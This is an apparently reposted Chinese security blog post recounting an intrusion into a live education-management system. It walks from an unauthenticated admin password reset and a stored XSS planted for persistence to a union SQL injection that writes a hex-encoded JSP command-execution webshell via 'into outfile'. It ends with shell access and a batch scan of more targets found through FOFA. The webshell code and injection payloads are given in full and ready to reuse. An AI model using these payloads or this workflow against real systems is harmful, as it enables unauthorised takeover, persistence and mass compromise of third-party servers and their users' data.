[老樹新花]從未授權到GetShell


未授權訪問

前幾天晚上有空的時候想看看別人EduSrc的挖掘思路,谷歌大法搜索了一下,找到了一篇講通用密碼重置漏洞的文章,同時由於其原博主的靈魂打碼,讓我通過谷歌搜索成功找到了這個系統。

原來的漏洞是重置密碼時校驗碼默認為admin,經過測試后實際上此處存在一個未授權修改密碼,直接訪問網址(以下均進行脫敏處理)

xxxx/updatePasswd?username=admin,1

就進入了修改管理員密碼的界面

本着來都來了的精神,修改密碼登錄一氣呵成

登陸之

XSS漏洞

這種后台一般會有很多XSS,隨便找個點嘗試一發助助興,方便管理員后期修補漏洞后的權限維持,那就課程管理處的新增 ->

輸入最基礎的<script>alert(1)</script>

提交之后搜索新增的課程代碼0000001(PS:這里重復是因為之前先嘗試了一次)

成功彈窗,right!

但是這並不是我們想要的,后台XSS說實話有點雞肋,想找一個隱蔽點的未授權或者SQL注入

繼續閑逛....

疑似任意文件下載

發現一個數據導出點,抓包分析一下下載路徑,看看是否存在任意文件下載

下載路徑為絕對路徑,感覺有戲

(此處度過兩小時....)

測試很久之后還是不能下載,試了很多繞過的方法還是莫法,只能先把下載的絕對路徑保存下來,嗚嗚嗚嗚.....

柳暗花明

在繼續尋找中發現GET的傳參點:

action?Id=aa&wid=2

嘗試一發注入(其實最開始的那個案例是可以布爾注入的,后面這個案例不知道咋的有點問題)發現存在聯合注入,真罕見

action?Id=aa&wid=2' and '1'='2' union select database()--+

獲得數據庫名

JSP一句話寫SHELL

帶上之前的絕對路徑寫shell

原JSP一句話為:

<% java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int len = -1;byte[] bytes = new byte[4092];out.print("<pre>");while ((len = input.read(bytes)) != -1) {out.println(new String(bytes, "GBK"));}out.print("</pre>");%>

原文寫進去總是要報錯,就進行了十六進制編碼

0x3c25206a6176612e696f2e496e70757453747265616d20696e707574203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e74206c656e203d202d313b627974655b5d206279746573203d206e657720627974655b343039325d3b6f75742e7072696e7428223c7072653e22293b7768696c652028286c656e203d20696e7075742e72656164286279746573292920213d202d3129207b6f75742e7072696e746c6e286e657720537472696e672862797465732c202247424b2229293b7d6f75742e7072696e7428223c2f7072653e22293b253e

into outfile絕對路徑寫shell

action?Id=aa&wid=2' union select 0x3c25206a6176612e696f2e496e70757453747265616d20696e707574203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e74206c656e203d202d313b627974655b5d206279746573203d206e657720627974655b343039325d3b6f75742e7072696e7428223c7072653e22293b7768696c652028286c656e203d20696e7075742e72656164286279746573292920213d202d3129207b6f75742e7072696e746c6e286e657720537472696e672862797465732c202247424b2229293b7d6f75742e7072696e7428223c2f7072653e22293b253e into outfile 'D://xxxxx/spring10.jsp' --+

執行whoami

成功getshell

批量檢測

編寫一個簡單的批量檢測腳本(湊合看吧hhh

FOFA再按照系統指紋搜索一下即可

搞定收工orz

END

建了一個微信的安全交流群,歡迎添加我微信備注進群,一起來聊天吹水哇,以及一個會發布安全相關內容的公眾號,歡迎關注 😃

GIF GIF


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM